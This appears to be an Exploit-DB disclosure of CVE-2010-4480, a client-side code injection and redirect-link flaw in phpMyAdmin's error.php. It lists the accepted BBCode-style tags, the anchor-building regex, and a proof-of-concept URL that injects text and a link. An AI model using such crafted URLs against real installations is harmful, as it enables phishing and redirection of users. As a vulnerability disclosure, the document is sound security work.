EXPLOITS

phpMyAdmin - Client-Side Code Injection / Redirect Link Falsification

Author: emgent white_sheep & scox
type: webapps
platform: php
port: 80.0
date_added: 2010-12-06  
date_updated: 2016-12-19  
verified: 1  
codes: CVE-2010-4480;OSVDB-69706;OSVDB-69684  
tags:   
aliases:   
screenshot_url: http://www.exploit-db.com/screenshots/idlt16000/schermata-2010-12-02-a-222257.png  
application_url: http://www.exploit-db.comphpMyAdmin-3.3.8.1-english.tar.gz  

raw file: 15699.txt  

PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification

Credits:
  Emanuele 'emgent' Gentili   <emgent@backtrack-linux.org>
  Marco 'white_sheep' Rondini <white_sheep@backtrack-linux.org>
  Alessandro 'scox' Scoscia   <scox@backtrack.it>


In error.php, PhpMyAdmin permit to insert text and restricted tag, like BBCode.
With tag [a@url@page]Click Me[/a], you can insert your own page, and redirect all users.
Available tags are:


      '[i]'       => '<em>',
      '[/i]'      => '</em>',
      '[em]'      => '<em>',
      '[/em]'     => '</em>',
      '[b]'       => '<strong>',
      '[/b]'      => '</strong>',
      '[strong]'  => '<strong>',
      '[/strong]' => '</strong>',
      '[tt]'      => '<code>',
      '[/tt]'     => '</code>',
      '[code]'    => '<code>',
      '[/code]'   => '</code>',
      '[kbd]'     => '<kbd>',
      '[/kbd]'    => '</kbd>',
      '[br]'      => '<br />',
      '[/a]'      => '</a>',
      '[sup]'      => '<sup>',
      '[/sup]'      => '</sup>',

      and replace '/\[a@([^"@]*)@([^]"]*)\]/' with '<a href="\1" target="\2">'


POC:

http://127.0.0.1/phpmyadmin/error.php?type=This+is+a+client+side+hole+evidence&error=Client+side+attack+via+characters+injection[br]It%27s+possible+use+some+special+tags+too[br]Found+by+Tiger+Security+Tiger+Team+-+[a%40http://www.tigersecurity.it%40_self]This%20Is%20a%20Link[%2Fa]


OWASP Reference:

http://www.owasp.org/index.php/Unvalidated_Input